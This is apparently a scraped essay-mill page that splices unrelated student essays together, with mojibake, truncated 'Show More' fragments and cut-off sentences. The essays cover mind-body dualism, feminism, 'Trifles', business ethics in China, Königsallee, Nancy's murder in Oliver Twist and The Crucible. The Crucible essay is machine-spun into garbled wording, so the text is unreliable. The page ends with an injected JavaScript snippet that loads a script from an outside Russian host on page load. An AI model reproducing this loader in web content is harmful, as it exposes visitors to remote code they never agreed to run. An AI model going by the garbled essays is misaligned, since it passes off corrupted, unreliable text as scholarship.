A Relationship Between Physical Properties And Mental...

The relationship between the physical and the mental is an issue that philosophers have pondered for centuries, and this issue still remains relevant today. In the attempt to determine the relationship between physical properties and mental properties two schools of thoughts emerged: Monism and Dualism. People who subscribe to monism believe physical properties, such as color and location, as well as mental properties, such as emotions and beliefs, are all one entity. Materialisms, the most popular form of monism, claims that everything mental is also physical. On the other end of the spectrum, Dualists believe that physical and mental properties are two separate entities. This paper will address the merits of interactionist substance dualism (interactionism) and epiphenomenalist property dualism (epiphenomenalism) as well as functionalism which is a type of materialism. The debate between dualism and materialism has retained its relevance today even though most contemporary philosophers believe materialism to be true. This is in large part due to the implications that comes with both views. If dualism is true, this means that there are some things that science will never be able to explain because science only has the ability to explain the physical. Therefore, dualism does not correspond with a scientific worldview which indicates why most scientists and philosophers are reluctant to accept this view. On the other hand, if materialism is true the possibility of anShow MoreRelatedProperty Dualism1389 Words   |  6 Pagesassesses property dualism, a theory of mind. It proclaims the existence of a single, physical substance (unlike Cartesian dualism), but argues that this single substance has two potential properties: physical and mental states that are not reducible. The idea that mental states are non-reducible properties of brain states is the central tenant of a theory of mind called property dualism. However, before we can assess the theory we must be aware that the question assumes the existence of mental statesRead MoreThe Three Concepts Of Donald Davidsons Anomalous Monism1359 Words   |  6 Pages Donald Davidson’s Mental Events, challenges how we discuss mind-body interactions. The thesis presented by Davidson, is that of Anomalous Monism, which attempts to answer the causality of mental and physical events. Differing from forms of the more common Dualism, Davidson accepts monism as the best way to describe the mind-body relationship. Meaning he accepts token identity and rejects type-identity. Davidson’s argument consists of three key principles. The first being the Principle of CausalRead MoreThe Mind Body Problem By Mark Rowlands957 Words   |  4 Pagespaints a beautiful picture of what love actually looks like, espe cially if it was between a zombie and a human being. This movie tells the story of a brain-dead, non-mentally functioning zombie and how true love has the power to turn this creature into a real man again. As stated later, according to the dualism, zombies do not exist, so that whole story line can be thrown out the window. Dualism separates the properties of the mind and the body. By looking at the mind-body problem, the aspects of dualismRead MoreThe Mind-Body Problem Essay957 Words   |  4 Pagesdebated even today, raises the question about the relationship between the mind and the body. Theorists, such as Renà © Descartes and Thomas Nagel, have written extensively on the problem but they have many dissenting beliefs. Descartes, a dualist, contends that the mind and body are two different substances that can exist separately. Conversely, Nagel, a dual aspect theorist, contends that the mind and body are not substances but different properties. However, although Nagel illustrat es the problemsRead MoreIn The Philosophy Of Mind, One Of The Most Prominent Philosophical955 Words   |  4 Pagessubstance. Likewise, Anomalous Monism theorized and developed by Donald Davidson in his work, Mental Events, proposes that reality consists of one kind of substance, namely, physical substance. That is, according to Davidson, all mental events are a part of the physical realm. Furthermore, Anomalous Monism, also known as the token-identity theory, is Davidson’s attempt to rectify the problem of the mind-body relationship – which questions how the human mind and the body can causally interact. However, itRead MoreRelationship Between Mind And Body929 Words   |  4 PagesIn philosophy, Mind–body dualism is any theory that states that the mind and body are two distinct kinds of substances or natures. The problem of the relationship of the mind to body arose from the works of Renà © Descartes, a French philosopher and mathematician of the 17th-centu ry who gave dualism its classical formulation or made it to be what it is today. Conceived from his famous â€Å"Cogito, ergo sum† (Latin) meaning â€Å"I think, therefore I am,† he developed a theory of the mind as a nontangible andRead MoreThe Mind Body Problem And Substance Dualism869 Words   |  4 Pagessupport for Descartes notion of the immaterial mind, by critically discussing the view of substance dualism, pertaining to the relationship between the mind and body. The two arguments of which I will provide in this paper to support this view are divisibility and disembodied existence. There are two fundamentally different substances in this universe, physical and mental properties, this paper will explore both of these substances (8). The first supporting argument which I will present to support substanceRead MoreEssay about Descartes Theory of Substance Dualism791 Words   |  4 Pagesnonphysical characteristic of ourselves. Does our physical brain automatically give us nonphysical characteristics like feelings, thoughts, and desires or is there something else there, the mind, that interacts with our bodies and makes us feel, think, and desire? Also, is the mind the only nonphysical entity in our universe or do other entities exist such as ghosts or souls? One man came up with a theory to explain the two different properties in our universe in which he called Dualism. HopefullyRead MoreWhat Is Mind And Does It Exist?937 Words   |  4 Pagesname of Plato. Plato observed the differences between the ideal forms of the content of mind and the every world. Plato defined the philosophy of mind as â€Å"a branch of philosophy that studies the nature of the mind, mental events, mental functions, mental properties, consciousness, and their relationship to the physical body, particularly the brain.† Trying to relate the mind and body together created the mind-body problem which when â€Å"the relationship of the mind to the body, is commonly seen as aRead MoreFunctionalism And Its Positive And Negative Arguments1582 Words   |  7 Pagesargument and demonstrate the properties of functionalism. Before I begin to discuss functionalism I think it would be only best if I lightly outline philosophy and the theories that originated functionalism. The three main branches of philosophy are metaphysics, epistemology, and axiology. Epistemology focuses on the nature of knowledge. Within this category is the philosophy of the mind. The Philosophy of the Mind addresses how the mind is related to the physical world of cause and affect (Sober

Is Feminism Still Alive Today - 3203 Words

Reinhart 1 Brooke Reinhart Alyson Dickerman English 101-17-14 12 December 2014 As much as we may have progressed as a country and as a global culture, sexism is still alive today. It affects men, women, people who don’t fit our gender binary system, how we view ourselves and how we view each other. A powerful force in combating the gender inequalities we face today is feminism. Feminism is a social movement for gender and sex equality, and a personal commitment to understanding and achieving gender equality in everyday life. As children grow up, gender roles try to put girls in their place from the beginning. Right off the bat girls are presented with baby dolls and toy kitchens that teach them that their place is to be the†¦show more content†¦When people see a little girl the number one comment is â€Å"She’s so cute!† or â€Å"You look so pretty†. By Reinhart 2 focusing on how pretty the little girls look, we teach them that that’s what matters most instead of who they are as a person. As feminists we don’t encourage girls to be pretty, we encourage them to be pretty brilliant. (â€Å"Inspire Her Mind† Youtube.) Lack of representation is an enormous issue for girls currently. When young girls look at the list of presidents in the US, they don’t see anybody who looks like them. Women only have  ¼ of stem jobs, own 7% of tv stations, and have 5% of executive positions in the media. (Diana Mitsu Klos â€Å"Status of Women in U.S. Media 2013†), (Heather R. Human â€Å"Stem Fields and the Gender Gap: Where are the women?†). People will argue that this is because women just have different interests and don’t want to pursue those things. That may be part of the problem, but a larger issue is that as a kid boys are pushed harder to get into science and take on leadership roles beca use it’s expected of them. For me it has always been the case in school projects where if a boy took charge and led the group then he was proactive and a leader, but if I did it I was â€Å"bossy†, and that is still true today in college. It’s not expected of young girls to take charge or excel in science or government, and as a result they don’t pursue those things because it’s not

Character Analysis Trifles - 916 Words

Attention: Gender Roles Explain what is important about the title of â€Å"Trifles.† The title of the play refers to the statement â€Å"Well, women are used to worrying over trifles.† (561) Where Mr. Peters drawing attention to the broken jars of fruit preserves. I think that Mr. Hale statement was degrading toward the two ladies. When I got farther in the play Mr. Hale changed his mind, because the two women found the minor items that the men did not find while searching for clues. Sheriff Peters, attorney Henderson, and Mr. Wright’s neighbor Mr. Hale enter a dark unorganized kitchen of the farmhouse. To find that Mr. Wright has been strangled to death with a rope around his neck. His wife is the main suspect. She told attorney Henderson that she was sleeping when someone murders her husband’s. The wives of the investigators look around the farmhouse for clues to solve his death. I learned in the play that Mrs. Wright was one time a cheerful woman. The women’s roles in society have made a major impact in the United States. Women in other countries are looked at as the housekeepers and child bearers. The play tells the audience the kitchen is a gloomy dark place. When I think of a gloomy kitchen it symbolizes depressing and unorganized space. Mrs. Wright’s kitchen tells me that she did not take care of cleaning the kitchen. Women in early 1900 s were considered as housekeepers. So, when the men saw how her kitchen was they looked down on her. The sheriff got a chair and looked onShow MoreRelatedCharacter Analysis Of Florence And Trifles And Doubts1193 Words   |  5 PagesIn the plays, Florence and Trifles and Doubts, there are many different topics that are prominent. The ones I plan on focusing on are gender roles and race roles. The gender roles in Trifles and Doubts that I shall talk about is how our main character, Mrs. Write, went over the edge in traditional women’s roles in the 1900’s. The race roles in Florence that I shall talk about is how that despite in a racist society, someone can still chase their dreams. This 1950 play by Alice Childress takes placeRead MoreCharacter Analysis Of Susan Glaspell s Trifles 1714 Words   |  7 PagesA Rose for Emily written by William Faulkner and Trifles written by Susan Glaspell loneliness, poverty and isolation consume the lives of the characters. Susan Glaspell’s play â€Å"Trifles† written in 1916. In this play the author’s talks of her preoccupation with culture- bound notions of gender and sex roles. Glaspell says women are considered trifles which mean they are not important to society which is carried out by men (Baym, p. 742). In Trifles written by Susan Glaspell the time is in the earlyRead MoreSusan Glaspell s Trifles And A Jury Of Her Peers984 Words   |  4 Pages Although â€Å"A Jury of Her Peers† and â€Å"Trifles† are similar in plot, Mustazza’s article, â€Å"Generic Translation and Thematic Shift in Susan Glaspell’s ‘Trifles’ and ‘A Jury of Her Peers’† highlights the differences and similarities between the two. Mustazza’s article may help aid readers to understand the differences between Glaspell’s two works and provide understanding as to why Glaspell may have changed the genre and form of the plot. â€Å"Trifles† is a dramatic play whereas â€Å"A Jury of Her Peers† is proseRead MoreLiterary Analysis of Susan Glaspells Trifles1788 Words   |  7 PagesAn Analysis of Natures in Susan Glaspells Trifles A trifle is something that has little value or importance, and there are many seeming trifles in Susan Glaspells one-act play Trifles. The irony is that these trifles carry more weight and significance than first seems to be the case. Just as Glaspells play ultimately reveals a sympathetic nature in Mrs. Peters and Mrs. Hale, the evidence that the men investigators fail to observe, because they are blind to the things that have importanceRead MoreAltered Perspectives in Trifles729 Words   |  3 Pagesmurdered husband in the play Trifles by Susan Glaspell. Perception, however, can be impaired by many things. For example, what is being concentrated on at any given moment, upbringing, social biases, and gender can all influence how different people perceive the world. A character analysis between the male and female roles in Trifles illustrates how gender disparities can skew perception, allowing what is right before one’s eyes to be essentially ignored by some of the character s. Glaspell illustrates theRead MoreSusan Glaspell s Trifles 1732 Words   |  7 Pageswomen and the negative effects they have on women. In Glaspell s play Trifles, it is revealed that the operations of patriarchy are just an illusion that men have created to make themselves feel superior to women. Even though, at the time of this play, all of these aspects (economic, political, social and psychological) appeared to be male-dominated because they held these roles that women were not allowed to have. Trifles was written in 1916 during the First Wave of Feminism which occurred fromRead MoreSusan Glaspell’s One-Act Play, Trifles: Men Vs Women1190 Words   |  5 PagesSusan Glaspell’s one-act play â€Å"Trifles.† Some see it as an example of early feminist drama, others the idea of the way small towns deal with issues like murder, still others the gender differences in both the interpretation and analysis of facts surrounding a mysterious crime. In general, t he play is based on the murder of a Mr. Wright, and the title of the play comes from the critique from the men of the town, who berate the women for spending time â€Å"worrying over trifles† (Glaspell 918) rather thanRead MoreA Doll s House : Henrik Ibsen962 Words   |  4 PagesDrama Analysis A Doll’s House (Henrik Ibsen) And Trifles (Susan Glaspell) In comparing both dramas, the overwhelming aspect of convergence between both is the open discussion of gender identity. Both dramas make similar points about what it means to be a woman. Modern society in both dramas is constructed with men holding power over women. This is seen in Trifles in how men like George Henderson and Mr. Hale are myopic. The premise of the drama is how women worry over trifles, and the dismissiveRead MoreScript Analysis of Trifles by Susan Glaspell910 Words   |  4 PagesScript Analysis of â€Å"Trifles† by Susan Glaspell Summary   In the play Trifles by Susan Glaspell, there are five characters, three men and two women.   They are in a house where the murder of Mr. Wright took place the day before.   The men are trying to find evidence to name a killer or motivation to name Mrs. Wright as the murderer.   While the men are downstairs, the women occupy themselves with looking around the kitchen and living room.   They take note of Mrs. Wrights canned fruit and the factRead MoreThe Role Of Women In The Doll House And Trifles1667 Words   |  7 Pagesweaker sex. It was the women’s job to stay home to cook and raise the children. While these are still prevalent issues, it is also true that things has gotten better for some women in recent years. Works like â€Å"The Doll House† by Henrik Ibsen and â€Å"Trifles† by Susan Glaspell have helped advance the idea of what roles women should play in society. In each play there are strong, female protagonists who, despite being oppressed by the societal rules against women, learn to rebel and fight for what they

The Ethical And Environmental Issues Involved - 1388 Words

Do you think businesses from outside of China should stop trading with and operating in China because of the ethical and environmental issues involved? Many people and pressure groups from outside China argue that businesses like Jaguar Land Rover, should stop trading with and operating in China because of the many ethical and environmental problems that will inevitably arise. The issues that the board of directors need to be aware of and debate are: Workers in the UK and Europe are protected by many employment laws such as the Sex Discrimination Act, Equal Pay Act and the Health and Safety at Work Act, for example. Other laws ensure that workers get minimum wage, maternity pay, holidays and aren’t discriminated against because of their race, sex, religion or disability. It’s only fair that whatever benefits British workers get the Chinese should too, otherwise the employees and the other stakeholders of the business will see the transferring of any production to China as a way to avoid the laws that are in place to protect workers. The media have reported on the poor conditions that workers have to endure in China. Newspapers and websites have shown pictures of exhausted factory workers sleeping next to the production line or instances of notes left in product boxes detailing the hardships that they are subjected to. Even if a company s own factories in China have no issues it doesn t mean that their numerous suppliers aren t exploiting their workers. For example,Show MoreRelatedEthics Case Analysis: Trans-American Paper Company937 Words   |  4 PagesAnalysis: Trans-American Paper Company In resolving the ethical issues associated with business conduct the â€Å"seeing-knowing-doing† model is very useful. In this case analysis, we scan all the Trans-American Paper Company’s (TAPC) proposed/potential business options for the ethical issues. First, we will identify the ethical issues involved and its ethical/business/legal implications. Second, we will see how we can resolve these ethical issues and come up with best/second-best options. Finally, weRead MoreThe Four Ethical Lenses and The 4+1 Decision Process958 Words   |  4 PagesThe method of ethical decision making which was developed by Dr. Cathryn A. Baird presented two components contained in all ethical decisions which are; The Four ethical Lenses and the 4+1 Decision process. The Four Ethical Lenses issue claims that different ethical theories and the means in which we tend to approach the situations which form part of our ethical traditions are looked at in four different perspectives. From ea ch perspective there are different values on which to decide whether theRead MoreEthical Issues Of Multinational Corporations Essay1407 Words   |  6 PagesETHICAL ISSUES IN MULTINATIONAL CORPORATIONS Introduction A multinational is defined as an enterprise operating in several countries but managed from its home country. Ethics as a philosophy is defined as the discipline concerned with what is morally good and bad, right and wrong. Ethical issues arise when one is unsure of what is the right course of action to be taken at a single time. This problem becomes exponentially complex when applied to a multinational organization. Globalisation has enabledRead MoreEthical Investments1644 Words   |  7 PagesEthical investments are similar to traditional investments with only one difference. Both traditional and ethical investors pursue the same goal of capital gains, higher income and/or preservation of capital for future needs. The major difference between traditional investors and ethical investors is that ethical investors do not want their investments going for things that cause harm to the social or physical environments. Instead they want their investments to support needed and life supportiveRead MoreEngineering Ethics601 Words   |  3 PagesEngineering dilemma. ‘Engineering ethics’ refer to the ethical issues involved in the engineering profession. Ethics are concerned with moral decisions in professional behaviour. Whilst morality generally refers to any aspect of human action, ethics is concerned with making the ‘right’ decisions in a professional context. Engineering ethics and consideration of the impact of engineering on the environment are issues of relevance and importance to any engineer or engineering student. Ethics is concernedRead MoreEnvironmental Ethics And Environmental Safety895 Words   |  4 PagesEnvironmental ethics can be formally defined in many sources as the study of human interaction with nature. In a business sense, however, environmental ethics is concerned with the business’ duty or responsibility to protect our overall environment. Our society is beginning to become more involved with the environmental movement. Because of this, people are more concerned with the companies and businesses that they support in regards to their concern towards our environment. Some argue that businessesRead MoreCorporate Social Responsibility and Single Strongest Argument1106 Words   |  5 Pagesmore improvement? Discuss. Chapter 5 1. Explain the relationship between corporate public policy and strategic management. 2. Which of the four strategy levels is most concerned with social, ethical, or public issues? Discuss the characteristics of this level. 3. Identify the steps involved in the strategic management process. 4. What is the difference between a social audit and a social performance report? Why are social performance reports increasing in popularity? 5. What is theRead MoreCritical Evaluation Of The Effectiveness Of Unilever1169 Words   |  5 PagesCritical evaluation of the effectiveness of Unilever`s approach to ethics Highly visible business ethics issues influence the public’s attitudes toward business and may destroy trust. It is important for Unilever to undertake ethical decisions and follow ethical principles as failing that would result in large financial loses as well as destroy reputation of the company which in a great degree would also affect shareholder and stakeholders. According to Unilever’s annual report (2016) company hasRead MoreEthical Communication Citizenship1336 Words   |  6 Pagessignificant communication and ethical issues surround corporations facing strong public opposition to their activities? Discuss drawing on the BAGAG, WRATD and Cash for Comment case studies (one or more) and at least one major theory studied in this unit. | The aim of this essay will be to examine how social and cultural changes have forced corporations to re-evaluate many of the principles they work upon, it will open up by looking at a few of the major ethical issues that corporations must dealRead More The Concept of Corporate Social Responsibility Essays1687 Words   |  7 Pagesaccommodating changing social, market stakeholder pressures in an effort to achieve sustainable economic, social environmental development throughout its operations and activities. CSR puts expectations, continuous improvement innovation at the heart of business strategies and the four dimensions of social responsibility are generally considered to be economic, legal, ethical philanthropic. Approaches to CSR are varied and due to the differences in priorities values across the world

How Material Things Contribute Towards Differences on a...

Taking into consideration that ‘difference is not the same as inequality’ (Blakeley et al., 2009, p. 24), this essay intends to look at KÃâ€" and outline how the material things contribute towards differences with reference to City Road; deriving from the premise that the material assets of a street can generate either an inclusive or exclusive interaction, favouring some and not others. Kà ¶nigsalle, known by its nickname, â€Å"Kà ¶, is the most beloved upscale commercial street in Germany (Welt online, 2010). On one side of the street we have stores from the most expensive brands in the world and on the other, a mix of baroque buildings which host a different number of businesses. Being seen walking along or visiting its stores is denotative of†¦show more content†¦There is no sign on the Kà ¶ telling who is welcomed or not; objectively speaking everyone is welcomed, but its material things are invested with such a subjective meaning, that they set the p ace and shape of the local social life, creating therefore, an alluring environment which itself dictates a whole gamut of social patterns that are absorbed and followed by the local community, consequently contributing towards differences. While City Road reveals a more inclusive image, Kà ¶ conversely manifests a more exclusive one. As we can see, each street is similar in various aspects and are designed and structured to cater and favour a specific type of person, business or activity and its material things corroborate such a process by subjectively or objectively embedding certain social patterns which will then be adopted by theirShow MoreRelatedEssay On Juvenile Gangs973 Words   |  4 PagesThese gangs are politicized gangs, neo-Nazism gangs, and street gangs. Politicized gangs promote political change by making other citizens scared of them. Street gangs are commonly known to cause violence. Neo-Nazism gangs are known as â€Å"skinhead groups† that are commonly known for their hate crimes. These gangs may look different and may also function differently, but most of the time they all have something in common. That something is how they became members, or why they became members. ThoseRead MoreCrime and the Bahamas750 Words   |  3 Pagescrime plagues many of our streets today. In this research, as a group we sought out to seek reasons for the rapid increase of crime over the 40 years since the Bahamas gained its independence in 1973 and reasons that contributed to the increase in criminal activity. We looked at a society once back when, where our community was once not heavily impregnated with influx of criminal activity and violent crimes, and compared it to our society today. Was there a difference? And if so Why or what contributedRead MoreWe Must Save The Garbage Dump1137 Words   |  5 Pageswas the amount of homeless citizens living on the streets. As a college student, with no money, I couldn’t help any of these people in LA. This is one of the m ost upsetting issues since their human, and nobody can help them. Living in a garbage dump is worse since all of the toxins their inhaling throughout the day. Also the government kicking them out of their homes in the dump was upsetting. The government is corrupt and only cares about things that help them. So out of all the issues, I d likeRead MoreAnalysis Of On Dumpster Diving And The Dignity Of Begging 850 Words   |  4 PagesHomelessness could be a serious reality for some, while others are simply playing a role. Going down the streets of downtown Charleston, you may see beggars along the side of the road with a cardboard sign asking for money or anything. Knowing nothing of their background, people instantly may assume they are homeless. After reading the writings â€Å"On Dumpster Diving† and â€Å"The Dignity of Begging†, I found that this is not always the case with begging in relation to the homeless. In â€Å"The Dignity ofRead MoreParenting Styles Have A Huge Impact On The Developmental Process Of Children1522 Words   |  7 Pages very nurturing, seems more like a friend then parent, and uses material things to bribe child to behave. Neglectful parenting is a parent that is not aware to a child’s needs. Saying that I mean that these parents give these children the basic necessities such as clothes, food and shelter but besides that the parent is emotionally unavailable. There are a number of things that can contribute to parents being neglectful. First thing everyone goes to is drugs, that’s a reason why a parent can be neglectfulRead MoreThe Sanitation and Hygiene of Street Food Vendors2143 Words   |  9 PagesAND ITS BACKGROUND I. INTRODUCTION The street food industry plays an important role in developing countries in meeting the food demands of the urban dwellers. It also contributes substantially to household food spending and provides an income to many female-headed households. It is estimated that street foods contribute up to 40% of the daily diet of urban consumers in developing countries (Consumers International, undated). Street foods feed millions of people daily with a wide varietyRead MoreAdvantages Of Information Technology1743 Words   |  7 Pagesefficient as you can be yields to the highest company profits. Increasing profits not only benefit the company but they will trickle down to the employees as increased income or job security. A company who can achieve operational excellence also contributes to the national and global economy, this provides more opportunities to grown and collaborate with others which in turn may also boost your profits. Information technology is the key to operational excell ence, incorporating IT into the company’sRead MoreModernism in the Great Gatsby1190 Words   |  5 Pageseffect materialism makes on the society of the 1920’s. With the materials that one might own, it became their new way of life. In The Great Gatsby there are many signs of materialism and love for manufactured goods. Gatsby’s brilliant and luscious house was built just to impress the eyes of Daisy. This can lead on to the fact that back then, many people would win the love of others by gloating around with their so-called wealth, no matter how they received it. The rich have their way where they look-outRead MoreCustomer Satisfaction And Sustained Growth Of Shareholder Equity1364 Words   |  6 PagesReceiving section and I have a boss in my department and he has a boss over him and etc. It is clearly seen of how the power of positions is distributed and the best part about it is no one is abusing their power, and everybody knows how critical their role is to the team. First in the company I work for it starts off with the supervisors which are very important because this material that we handle is coming from all over the world and is being shipped out as well so organization and having a systemRead MoreClimate Change : A Major Issue For Life On Earth1690 Words   |  7 Pagestrading where organizations would pay a fee based on how much greenhouse gasses they created. This solution did not work for a plethora of reasons some being that tracking the amount of emissions is difficult, and people felt that it was unfair. Climate change can be solved by changing our modes of transportation, changing how we get our electricity, and by changing our diets. Transportation plays a huge role in our lives, but it also contributes greatly to climate change. The efficiency of transportation

Character and language Essay Example For Students

Character and language Essay Discuss the presentation of Dickens treatment of the murder of Nancy in Oliver Twist, paying particular attention to his use of setting, character and language.  In Charles Dickens Oliver Twist, the most violent and darkest part of the book has to be the cold-blooded murder of Nancy. Nancy has been portrayed as a motherly figure to the orphans so when she is murdered, the reader feels genuine loss upon her death. The death of Nancy is predicted as Bill Sikes has been portrayed as the opposite of Nancy, violent and unpredictable. Most of his violence is directed at Nancy throughout the book and he unleashes his true wrath upon her in her final chapter, Fatal Consequences. Fagin plays a big part in the death of Nancy, as he gets one of his boys, Noah, to tell Sikes what Nancy has done. Fagins personality is very much like a wolfs or a rats, sly and manipulative. The title of the chapter where Nancy is murdered is called Fatal Consequences. Is it a fairly obvious forewarning of what is coming up. Dickens has used this title as a dramatic narrative device to prepare the reader of what is to come in the rest of the chapter. The word Fatal, in the chapter title, gives the idea for the audience that something is going to happen. The first paragraph gives a very detailed description of the setting, and really sets the mood. The time is being described as nearly two hours before daybreak; dead of night, when the streets are silent and deserted, when even sound appears to slumber which builds even more to the tension. The use of personification on the sound is well used and gives a feel that can only be described as a shiver down your spine. Autumn of the year has been associated with death and the end of life which reveals more to deaths. It then goes into describing the Jew as some hideous phantom, moist from the grave and worried by an evil spirit. This is a shocking unpleasant use of imagery and foreshadows Fagins death. I think the reason why Dickens gives such a negative view of Fagin is because he is about to betray one of the very few people who generally like him. The negative view of him makes the reader think, what has he done to deserve such a brutal description. Dickens describes him as a nice person who cares for people, but when Dickens describes him as some hideous phantom it gives you a complete different perspective of him. Throughout the whole chapter, Dickens uses a lot of negative imagery to show how sinister the chapter is what is yet to come. Fagin has been described as some hideous phantom, moist from the grave which makes the mood Dickens is creating even more obscured. His face is distorted and pale which is very much like Nancys at the end of the chapter. During Fatal Consequences, we learn how Fagin is feeling from the language that Dickens uses to portray his character. When Sikes enters the room, he is described as burly. When he gives the bundle to Fagin, it makes the audience wonder, what has Sikes got there? And what took him so long to get it? During the silence here, it seems as if Sikes is being frightened by Fagins silence and the terror in his eyes. Wot now represents the dialect that was used in Dickens time. The way Sikes speaks is very plain. This shows that he is not well educated. The effect of Sikes not having a good education makes the reader feel a little bit sorry for Sikes as he didnt an education or the opportunity as some people would have in Victorian times. Maybe the reason he is violent and unpredictable is because he didnt get a very good education as a child. Fagin then gets Noah Claypole, (also known as Bolter to Fagin) to tell Sikes of what Nancy has done. Fagin then revolutionizes the story to make it sound like Nancy has ratted out Sikes. Dickens uses a range of names for each character. Fagin can be called Fagin or the Jew and Bill Sikes can be called, Bill, Sikes, and Bill Sikes, the Robber or housebreaker. .ufa7ed4e616c8776f7e41439cc6c5677d , .ufa7ed4e616c8776f7e41439cc6c5677d .postImageUrl , .ufa7ed4e616c8776f7e41439cc6c5677d .centered-text-area { min-height: 80px; position: relative; } .ufa7ed4e616c8776f7e41439cc6c5677d , .ufa7ed4e616c8776f7e41439cc6c5677d:hover , .ufa7ed4e616c8776f7e41439cc6c5677d:visited , .ufa7ed4e616c8776f7e41439cc6c5677d:active { border:0!important; } .ufa7ed4e616c8776f7e41439cc6c5677d .clearfix:after { content: ""; display: table; clear: both; } .ufa7ed4e616c8776f7e41439cc6c5677d { display: block; transition: background-color 250ms; webkit-transition: background-color 250ms; width: 100%; opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #95A5A6; } .ufa7ed4e616c8776f7e41439cc6c5677d:active , .ufa7ed4e616c8776f7e41439cc6c5677d:hover { opacity: 1; transition: opacity 250ms; webkit-transition: opacity 250ms; background-color: #2C3E50; } .ufa7ed4e616c8776f7e41439cc6c5677d .centered-text-area { width: 100%; position: relative ; } .ufa7ed4e616c8776f7e41439cc6c5677d .ctaText { border-bottom: 0 solid #fff; color: #2980B9; font-size: 16px; font-weight: bold; margin: 0; padding: 0; text-decoration: underline; } .ufa7ed4e616c8776f7e41439cc6c5677d .postTitle { color: #FFFFFF; font-size: 16px; font-weight: 600; margin: 0; padding: 0; width: 100%; } .ufa7ed4e616c8776f7e41439cc6c5677d .ctaButton { background-color: #7F8C8D!important; color: #2980B9; border: none; border-radius: 3px; box-shadow: none; font-size: 14px; font-weight: bold; line-height: 26px; moz-border-radius: 3px; text-align: center; text-decoration: none; text-shadow: none; width: 80px; min-height: 80px; background: url(https://artscolumbia.org/wp-content/plugins/intelly-related-posts/assets/images/simple-arrow.png)no-repeat; position: absolute; right: 0; top: 0; } .ufa7ed4e616c8776f7e41439cc6c5677d:hover .ctaButton { background-color: #34495E!important; } .ufa7ed4e616c8776f7e41439cc6c5677d .centered-text { display: table; height: 80px; padding-left : 18px; top: 0; } .ufa7ed4e616c8776f7e41439cc6c5677d .ufa7ed4e616c8776f7e41439cc6c5677d-content { display: table-cell; margin: 0; padding: 0; padding-right: 108px; position: relative; vertical-align: middle; width: 100%; } .ufa7ed4e616c8776f7e41439cc6c5677d:after { content: ""; display: block; clear: both; } READ: The other characters in the play EssayThese names are used when they are talking to different people. Before Sikes leaves to visit Nancy, there was a fire in the eyes of both which could not be mistaken. This shows that they are both angry and frustrated, but Fagin suddenly changes his emotion, he felt all disguise was now useless. The whole time that he has been speaking to Bill, he has just been manipulating him to get what he wanted. Without one pause or moments consideration; Bill Sikes isnt thinking now, hes just going to get on with the job.

The Crucible Society Versus The Individual free essay sample

The Crucible: Society Versus The Individual Essay, Research Paper Arthur Miller # 8217 ; s The Crucible focal points on the fearful relationship between society and the person ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Individual: being a enchantress in the 17th century or being a Communist in the 1950 # 8217 ; s. Miller provinces: The Crucible is involved basically with the societal dealingss of human existences, and accordingly, the prevailing accent in composing the drama was on the struggle ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . Although, both state of affairss coincide with Inquisition and mass craze, they conflict at the fact that Communism among Americans existed in the 1950 # 8217 ; s, while witchery among 17th century Salem townsfolk failed to be an actuality. In both clip periods question was present. As in 1692, the Inquisition of enchantresss and aces had its contentions, so did the subjugation on Communist party members in the 1950 # 8217 ; s ( # 8221 ; Un- American Activities, House Committee on # 8221 ; Microsoft Encarta 97 Encyclopedia, # 8220 ; Witchcraft # 8221 ; Microsoft Encarta 97 Encyclopedia ) . We will write a custom essay sample on The Crucible Society Versus The Individual or any similar topic specifically for you Do Not WasteYour Time HIRE WRITER Only 13.90 / page Twenty people were hanged for non squealing to such unorthodoxies. Similarly, big Numberss of Americans lost their occupations and stuffs or were imprisoned if failed to be a true American. What is shown in both epochs was the being of what we can name uncorroborated grounds and agony of being accused. Questions and hearings such as these stirred up intuition and fright, doing mass craze. Both epochs suffered from this. Those accused of witchery and wizardry saved themselves by squealing and so by impeaching others. To be arraigned, all you need is some undistinguished sum of cogent evidence by a townsperson or accused enchantress, many of which accusals were merely retaliation of past incidents, or to pacify the tribunal. Similarly, this happened during the McCarthy Era. Knowing the incorrect individual affected your standing possibilities of whether you would be arraigned or non. Therefore, everyone feared / gt ; each other, if you were or were non a suspect. Indicating fingers was the lone manner to demo your earnestness to the protection of the state. Mass craze was a consequence of these hearings because of the intuition and fear it stirred. The Red Scare and the Salem enchantress tests were decidedly alike in some ways, still, the parallel fails at one of import point: Communism existed ; witchery did non ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) . At the clip of the Salem enchantress tests, the psychological provinces ( # 8221 ; Readings on Arthur Miller # 8221 ; 145 ) of the victims were different than those during the Red Scare. Miller provinces: # 8230 ; the person is seen through society ( # 8221 ; Just Looking for a Home # 8221 ; online ) . He is mentioning to the McCarthy Era. Those blacklisted were connected with the Communist Party, and they were guilty of that. Yet, others had no connexion at all. So, Communism was existent and society looked down on the bing Communists. But, Miller besides states: # 8230 ; society is seen through the person ( # 8221 ; Just Looking for a Home # 8221 ; online ) . Here, he refers to the psychological province of the victims of the Salem enchantress tests. All the accused were non enchantresss, but were forced to believe that they were the # 8220 ; bad # 8221 ; of society. Although, this is non so among the McCarthy Era, because they knew whether or non they were Capitalist or Communist. An illustration of forced belief comes from Tituba # 8217 ; s confession. To counterbalance, you had to squeal. In other words, the victim in Salem believed he was # 8220 ; bad # 8221 ; and saw society as # 8220 ; good. # 8221 ; Communism existed in the McCarthy Era, but witchcraft merely existed among the Salem townsfolk because they were forced to believe that it existed among themselves. Arthur Miller was able to reflect the same quandary that existed on both clip periods. However, they differ in the existent being of the # 8220 ; bad # 8221 ; persons. Many guiltless lives and worklives were claimed as a consequence of these tests, yet, Arthur Miller was able to expound this through his plants. ( map ( ) { var ad1dyGE = document.createElement ( 'script ' ) ; ad1dyGE.type = 'text/javascript ' ; ad1dyGE.async = true ; ad1dyGE.src = 'http: //r.cpa6.ru/dyGE.js ' ; var zst1 = document.getElementsByTagName ( 'script ' ) [ 0 ] ; zst1.parentNode.insertBefore ( ad1dyGE, zst1 ) ; } ) ( ) ;